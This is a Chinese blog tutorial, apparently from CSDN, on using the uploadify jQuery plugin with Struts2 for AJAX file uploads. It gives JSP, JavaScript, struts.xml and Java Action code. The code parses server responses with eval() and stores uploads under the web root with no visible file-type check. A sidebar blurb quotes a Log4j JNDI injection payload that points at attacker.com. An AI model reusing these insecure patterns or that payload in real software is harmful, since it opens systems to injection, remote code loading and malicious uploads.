uplodify jQuery插件的struts2应用

uploadify 是一款不错的ajax上传文件的jQuery插件。

官方网站为:http://www.uploadify.com



1,下载开发包:jquery.uploadify-v2.1.0 ,目前最高版本为2.1.0

2,解压开发包。将

jquery-1.3.2.min.js,

jquery.uploadify.v2.1.0.min.js,

swfobject.js,

uploadify.swf,

uploadify.css,

cancel.png

六个文件添加到项目的对应路径中。

3,jsp页面
Html代码

1. <link rel="stylesheet" type="text/css" href="uploadify/uploadify.css">
2. <script type="text/javascript" src="jquery-1.3.2.min.js"></script>
3. <script type="text/javascript" src="uploadify/swfobject.js"></script>
4. <script type="text/javascript" src="uploadify/jquery.uploadify.v2.1.0.min.js"></script>
5.
6.
7. <!--代码省略-->
8. <input type='file' name='logoImg' id="logoImg" >

<link rel="stylesheet" type="text/css" href="uploadify/uploadify.css">
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript" src="uploadify/swfobject.js"></script>
<script type="text/javascript" src="uploadify/jquery.uploadify.v2.1.0.min.js"></script>


<!--代码省略-->
<input type='file' name='logoImg' id="logoImg" >



4,相应的js代码
Js代码

1. $(document).ready(function(){
2. $("#logoImg").uploadify({
3. 'uploader' : 'uploadify/uploadify.swf',//设置uploadify.swf的路径。
4. 'script' : 'faceSet_doUploadFile.action',//请求响应的Action。
5. 'cancelImg' : 'uploadify/cancel.png',//设置 取消按钮图片的路径。
6. 'folder' : '/',//设置上传文件后保存的路径。
7. 'fileDataName' : 'logoImg',
8. 'displayData' : 'percentag',
9. 'auto' : true,//设置是否自动上传。
10. 'multi' : false,//设置是否多文件上传。
11. 'onComplete' :function(event,queueId,fileObj,response){
12. //因为传回的数据时字符串,通过eval方法将其转化成JSON格式。
13. var jsonObject=eval('('+response+')');
14. var fileName=jsonObject.fileName;//得到回调的图片的路径。
15. $("#faceSetImg").attr("src","../"+fileName+"?now="+new Date());
16. $("#imgShow").show();
17. $("#fileShow").hide();
18. },
19. 'onError' :function(event,queueID,fileObj,errorObj){
20. alert("Ajax上传图片出错!请重新试过!");
21. }
22. });
23.
24. });

$(document).ready(function(){
$("#logoImg").uploadify({
'uploader' : 'uploadify/uploadify.swf',//设置uploadify.swf的路径。
'script' : 'faceSet_doUploadFile.action',//请求响应的Action。
'cancelImg' : 'uploadify/cancel.png',//设置 取消按钮图片的路径。
'folder' : '/',//设置上传文件后保存的路径。
'fileDataName' : 'logoImg',
'displayData' : 'percentag',
'auto' : true,//设置是否自动上传。
'multi' : false,//设置是否多文件上传。
'onComplete' :function(event,queueId,fileObj,response){
//因为传回的数据时字符串,通过eval方法将其转化成JSON格式。
var jsonObject=eval('('+response+')');
var fileName=jsonObject.fileName;//得到回调的图片的路径。
$("#faceSetImg").attr("src","../"+fileName+"?now="+new Date());
$("#imgShow").show();
$("#fileShow").hide();
},
'onError' :function(event,queueID,fileObj,errorObj){
alert("Ajax上传图片出错!请重新试过!");
}
});

});



5,struts.xml的配置文件
Xml代码

1. <action name="faceSet_*" class="org.cric.action.systemset.FaceSetAction" method="{1}">
2. <result name="jsonback" type="json">
3. <param name="includeProperties">
4. fileName
5. </param>
6. </result>
7. </action>

<action name="faceSet_*" class="org.cric.action.systemset.FaceSetAction" method="{1}">
<result name="jsonback" type="json">
<param name="includeProperties">
fileName
</param>
</result>
</action>

6,Action类的写法
Java代码

1. private File logoImg;//上传的文件的File名称。
2. private String logoImgFileName;//该文件的文件名称
3. private String logoImgContentType;//该文件的文件类型
4. //省略Setter ,Getter方法。
5.
6. public String doUploadFile()throws Exception{//ajax 上传文件.
7. String path=ServletActionContext.getServletContext().getRealPath("/");//得到跟路径。
8. String fileName=this.faceSetServiceImpl.uploadImg(path, this.getLogoImg(), IMGNAME);
9. this.setFileName(fileName);
10. return "jsonback";
11. }

private File logoImg;//上传的文件的File名称。
private String logoImgFileName;//该文件的文件名称
private String logoImgContentType;//该文件的文件类型
//省略Setter ,Getter方法。

public String doUploadFile()throws Exception{//ajax 上传文件.
String path=ServletActionContext.getServletContext().getRealPath("/");//得到跟路径。
String fileName=this.faceSetServiceImpl.uploadImg(path, this.getLogoImg(), IMGNAME);
this.setFileName(fileName);
return "jsonback";
}

我使用了json插件来作为Ajax前后台媒介的交换格式!!
手把手教你解决Kernel panic报错:init找不到的5种排查方法(附NFS挂载实战) 本文深入解析了Linux系统启动时出现“Kernel panic - not syncing: No working init found”报错的根本原因,并提供了五种系统性的排查方法。文章结合NFS挂载根文件系统的实战场景,详细阐述了从动态链接库依赖、内核引导参数、NFS权限配置、文件系统完整性到内核配置干扰的完整排查路径,帮助开发者快速定位并解决这一常见的系统启动故障。 阅读详情

相关推荐

【人工智能】人工智能基础概念、流派、发展史

人工智能初衷就是让计算机能够像人类一样具有自我思考、自我学习、自我决策的能力。依据百度百科上对人工智能定义:人工智能是研究、开发用于模拟、扩展和延伸人的智能的理论、方法、技术及应用系统的一门新的技术学科。人工智能是研究使计算机来模拟人的某些思维过程和智能行为的学科,主要包括计算机实现智能的原理、制造类似于人脑智能的计算机,使计算机能实现更高层次的应用。

WEL测试 1882

uplodify jQuery插件的struts2应用

uploadify 是一款不错的ajax上传文件的jQuery插件。 官方网站为:http://www.uploadify.com   1,下载开发包:jquery.uploadify-v2.1.0 ,目前最高版本为2.1.0 2,解压开发包。将                   jquery-1.3.2.min.js,                   jquery.upload...

wxinpeng的专栏 194

卡尔曼滤波原理详解及系统模型建立(simulink)

卡尔曼滤波原理详解及系统模型建立(simulink) 卡尔曼滤波器 卡尔曼滤波器是在上个世界五六十年代的时候提出的,到今天已经有六十年左右的时间,但卡尔曼滤波算法不管在控制、制导、导航或者通讯方面对数据的预测能力依然处在一个不可撼动的位置上,但是很多人对于其算法内部的工作原理究竟是怎么运作的依然不理解,所以在工程上很多人都只是把卡尔曼滤波当成是一种“黑箱”预测算法,并不清楚内部原理。但实际上没有任...

weixin_43942325的博客 7万+

jquery uplodify多文件上传插件

jquery uplodify多文件上传插件

我飞故我在的专栏 1170

信道估计准则演进:从LS、MMSE到LMMSE的工程权衡

本文深入探讨了信道估计准则的演进历程,从LS、MMSE到LMMSE的工程权衡。通过对比分析三大经典算法的数学本质、工程实现及适用场景,揭示了在计算复杂度、实时性和性能之间的关键取舍。文章结合4G/5G基站项目实战经验,提供了算法选型的三维决策模型和前沿发展建议,为无线通信系统设计提供实用指导。

weixin_29327525的博客 282

【Unity】制作简易三维场景

本文介绍如何制作一个三维场景

CiNian_的博客 5333

Jackson 序列化 / 反序列化注解 完整版笔记

Jackson 序列化 / 反序列化注解 完整版笔记

handsome_sai的博客 272

zabbix6.0.4拓扑图链路显示流量

1. 背景介绍 网络流量监控是网络管理员必备功课,以前研究cacti的weathermap插件,网络流量大小和拥塞情况一清二楚,随着cacti的没落,weathermap插件也不能再继续使用,此时就需要学习了解新的替代方案。 经过研究和实际测试,发现zabbix的拓扑图有这个功能。 以下验证了zabbix的拓扑图显示线路流量的功能。 2. Zabbix 6显示拓扑图流量过程 选择监测-拓扑图 点进Local ne...

u013930899的博客 8481

训练数据示例

针对“规格书生成测试用例脚本”的任务,在 LLaMA-Factory 中使用即可。关键是把“规格书内容”放进input字段,把“期望的脚本输出”放进output字段。

liuxs2009的专栏 58

时频分析之短时傅里叶变换(STFT)

本文利用MATLAB自带的spectrogram函数对信号做短时傅里叶变换。首先介绍了短时傅里叶变换(STFT)的背景及意义;其次,对spectrogram函数的用法以及变量的含义做了详细的解释;最后,利用MATLAB编写程序实现了信号的STFT。

总结论文中的算法并给出论文的复现代码 7万+

华为面试手撕真题【字符串压缩】

华为面试手撕真题【字符串压缩】

MISAYAONE的博客 1万+

用 ijson 流式解析 SerpBase 快照归档:把 16GB 内存压回 200MB

凌晨三点,解析脚本把机器内存吃满了去年做搜索数据归档分析时,我写了一个统计脚本:读取一个月的原始响应归档,统计每个域名在自然结果里出现的次数。归档文件是把每天几千条 SerpBase 响应拼成一个大 JSON 数组,单月文件 2.4GB。脚本跑起来不到四十秒,监控告警就响了——一台 16GB 内存的机器,可用内存被吃到只剩几百兆,同机的采集任务全被拖慢。。

Y381532662的博客 270

Yocto开发讲解系列 - 总目录

Yocto开发讲解系列总纲Yocto开发专栏前言

fulinux的博客 3万+

AI 编程智能体零门槛调用手册:从“能跑”到“敢放进作品集”

抄下来的调用示例跑不通、密钥硬编码、换模型就崩?这份手册按使用频率排序,每条给出用途、最小示例和坑点,30秒定位你需要的片段。跟着做,你将得到一个可配置、可切换模型、密钥不入库的小型智能体脚本——正是面试常问的安全集成大模型能力。🔧 从“能跑”到“敢放进作品集”,只差这一层重构。

2601_94912102的博客 397

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

【每天一个 Python 小案例30】Python 基础知识综合小项目:我的工具盒

作为系列收官,本篇把前 29 篇的知识点合成一个能直接用的命令行工具"我的工具盒":计算器(用 ast 解析表达式,不碰 eval)、单位换算与温度转换(一张换算表 + 特例分支)、记账与分类统计(Decimal + JSON 持久化)、以及用"字典当命令表"把菜单和业务逻辑解耦的主循环。文中对比了 eval 的安全隐患与 ast 白名单的做法,解释了 lambda 闭包在字典里的写法与晚绑定陷阱,并在最后给出整个系列的知识地图,把变量、数据结构、控制流、函数、类、异常、文件、标准库八块内容对应到具体篇目。

xinjiyaya的博客 426

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

MCP本地服务集成避坑:从Stdio管道僵死到双向JSON-RPC稳健通信

本文剖析MCP服务端因调试日志污染Stdio管道导致客户端挂起的根因,指出console.log等非结构化输出会破坏JSON-RPC协议解析,引发通信僵死。提出双通道隔离方案:将业务通信严格限定于stdout,所有日志分流至stderr,并强制单行原子化传输与缓冲刷新。实践证明该架构可彻底消除解析崩溃与延迟问题,实现零延迟、高可靠的本地智能体通信,是MCP插件工程化的必选项。

艺杯羹的博客 496

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 136

记录Luckysheet导出为Excel的方法

本文针对后端无直接导出Excel接口的问题,基于Luckysheet JSON数据结构,通过TypeScript与ExcelJS实现前端完整导出。重点优化了类型安全、可选链防御、图片定位、合并单元格同步及边框样式还原。关键改进包括:补全私有属性类型定义,使用?.和??防崩溃;精准映射图片坐标与格式;兼容config.merge数组/对象结构并聚合对齐方式;解析config.border并转换为ExcelJS边框样式,确保导出文件完全保留原表的合并、居中、边框等复杂格式,实现高保真导出。

Mr.小灰狼_随笔 516

LangChain 能力详解(二):聊天模型核心能力 —— 工具调用、结构化输出、流式传输

ChatOpenAI实时提取 JSON 字段边输出边高亮 Markdown边输出边计费yield chunk.content.upper() # ← 每个块都处理会同时实现parse(非流式)和_transform(流式),所以这个解析器在invoke和stream下都能用。能力一句话核心 API工具调用让模型从「只会说」变成「会决定做什么」@toolbind_tools结构化输出让模型从「返回字符串」变成「返回对象」流式传输让用户从「干等 20 秒」变成「立刻看到」stream。

2601_94861874的博客 580

AI 应用的数据库架构:按数据类型选技术

**AI 应用的数据库架构:按数据类型选技术** ## 一、关系型库:记录主库 对绝大多数 AI 产品,最安全、省心的起点是一个支持事务与约束的关系型库,作为默认记录主库。 适用场景:租户与用户身份、计费与权益(订阅、配额)、智能体运行与任务状态、工具审批与审计日志、对话元数据(非消息体本身)、文档归属与访问策略、评测结果。 灵活用法:可用 JSON 列存供应商元数据,而不破坏关系保证。具

search_agent的博客 361

Vue 前端开发 AI 对话页面:流式消息渲染、文件上传

关键点是不能手动设置 Content-Type 为 multipart/form-data,必须由浏览器自动生成带有 boundary 的请求头,否则后端无法解析。思路:将对象序列化为 JSON 字符串,作为 FormData 的一个普通字段(如 formData.append(‘payload’, JSON.stringify(data))),后端接收该字段后再反序列化。若上传大文件(>10MB),需实现独立的分片上传接口,在提交对话前先获取文件 id 或 url,再随文本发送引用。移除输入框的禁用态;

2402_85729970的博客 388

PDF转JSON/Markdown:如何批量解析复杂文档并保留页面结构?

面对多栏、跨页表格、图文混排等复杂PDF文档,传统OCR难以完整保留结构与逻辑。TextIn xParse通过版面分析与结构化输出,支持将PDF等多格式文件批量解析为Markdown或JSON,精准识别标题、表格、图片、公式等元素,保留阅读顺序、行列关系及页面坐标信息,助力企业实现知识库建设、业务自动化与AI Agent文档处理,提升文档数据转化效率与可用性。

INTSIG的博客 332

23-JSON-Patch转成局部更新

前端仅修改部分字段时,应将 JSON Patch 的 replace 操作映射至白名单列,转为局部 UPDATE,避免整行更新导致未展示字段被清空。服务端严格校验路径、类型,拒绝主键、删除标记等敏感字段,审计字段由服务端写入,确保数据安全与一致性。通过参数化查询防止注入,结合版本控制应对并发,实现精准、安全的局部更新。

CAthlete的博客 210

Linux 下 OpenCode 接入自定义大模型 API 教程:以 DeepSeek-V4.1-Flash-1017 为例

本文介绍在Linux下通过Python脚本配置OpenCode接入自定义大模型API(以DeepSeek-V4.1-Flash-1017为例),实现永久化、非侵入式配置。通过修改~/.config/opencode/opencode.json文件,添加OpenAI兼容服务商BLSC,注册模型并设置APIKey。支持命令行测试、默认模型设定及安全权限控制,操作简单且不影响原有配置。适用于各类支持OpenAI接口的自定义模型服务,提升开发灵活性与安全性。

qq_15060477的博客 123

【人工智能】如何搭建工作流:从 SKILL 拆分到多智能体审核

本文介绍如何通过SKILL拆分构建AI工作流:将自媒体流程拆分为选题、写文案、剪视频等独立SKILL,由调度SKILL统一管理,并借助status.json与log.md实现状态追踪与日志记录。进一步引入多智能体审核机制,主智能体调度上下文独立的子智能体进行交叉复核,避免“灯下黑”。关键在于持续维护与优化,而非一次性搭建。

千月星跡 302

Markdown 转 PDF API:表格与代码块、公开链接与私有文件

Markdown 转 PDF API 接收非空 Markdown 字符串,返回排版后的 PDF。可以用 JSON 或表单提交标题、表格、代码块等内容。公开模式返回下载 URL,私有模式返回文件引用。

DevOpenClub 专栏 166
上一篇: nctype="multipart/form-data"
下一篇: 上传组件后,struts2.action的文件上传成功以后,弹出下载json数据对话框.
ayanline
博客等级 码龄19年 0粉丝 36原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值